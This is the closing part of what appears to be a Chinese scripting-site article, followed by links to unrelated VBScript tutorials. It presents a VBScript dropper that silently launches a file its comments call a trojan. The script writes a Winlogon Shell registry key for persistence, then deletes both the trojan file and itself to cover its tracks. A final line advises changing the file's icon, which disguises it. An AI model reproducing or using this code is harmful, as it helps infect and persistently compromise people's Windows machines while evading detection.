dim wsh 
set wsh=CreateObject("WScript.Shell") 
wsh.run "%windir%\flumasko.exe",0 //運行木馬程序 
set sm=Wscript.CreateObject("WScript.Shell") 
sm.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","Explorer.exe %systemroot%\system32\winmgmt.exe" 
//寫進注冊表項實現(xiàn)自啟動 
set WshShell=WScript.CreateObject("WScript.Shell") 
WScript.Sleep 2000 
//等木馬的執(zhí)行完畢 
Set fso=CreateObject("Scripting.FileSystemObject") 
f=fso.DeleteFile ("flumasko.exe") 
f=fso.DeleteFile (WScript.ScriptName) 
//毀尸滅跡 

再修改下圖標(biāo)就大功告成了！

相關(guān)文章

VBS教程：VBscript語句-Option Explicit 語句
VBS教程：VBscript語句-Option Explicit 語句...
2006-11-11
vbs實現(xiàn)的eMule電驢自動關(guān)機腳本代碼
verycd,eMule電驢官方網(wǎng)站上說：為了不違背共享精神，是不會為eMule電驢添加自動關(guān)機功能的，這要多費電呀，在網(wǎng)上看了一個方法，感覺非常不錯，改掉了原代碼的不足之處
2008-07-07
VBS教程：方法-Read 方法
VBS教程：方法-Read 方法...
2006-11-11
使用腳本自動修改ip設(shè)置
這篇文章專為想通過腳本修改ip地址的朋友準(zhǔn)備的，第一個bat是測試通過的也比較實用，vbs一般也是通過netsh命令實現(xiàn)，當(dāng)然也可以不通過netsh實現(xiàn)，具體的大家自行參考下吧
2006-09-09
vbs(asp) ByVal ByRef函數(shù)調(diào)用使用說明
ByVal 傳送參數(shù)內(nèi)存的一個拷貝給被調(diào)用者。也就是說，棧中壓入的直接就是所傳的值。 ByRef 傳送參數(shù)內(nèi)存的實際地址給被調(diào)用者。也就是說，棧中壓入的是實際內(nèi)容的地址。被調(diào)用者可以直接更改該地址中的內(nèi)容。
2008-09-09
vbscript include的辦法實現(xiàn)代碼
vbscript本身沒有include這樣包含其他vbs文件的支持，在asp或html頁面里可以用<script ...這樣來包含一個vbs文件，如果是直接運行的vbs腳本，就只有用其他辦法來代替這個功能了。
2009-02-02
vbs向指定的文件添加內(nèi)容的函數(shù)
用vbscript實現(xiàn)的向指定的文件寫字符串，第三個參數(shù)指定是否刪除原來的內(nèi)容，喜歡的朋友可以測試系
2013-01-01
VBScript 文件操作代碼小結(jié)
下面是一些vbs下常用到的一些文件操作代碼，整理了下方便以后開發(fā)使用，提高效率。
2009-08-08
VBS教程：VBScript 基礎(chǔ)-VBScript編碼約定
VBS教程：VBScript 基礎(chǔ)-VBScript編碼約定...
2006-11-11
用VBScript寫合并文本文件的腳本
今天用腳本實現(xiàn)幾個文本文件的合并，被FSO中的幾個函數(shù)絆住了好久，最終認定這里應(yīng)該是Window里的Bug。
2009-04-04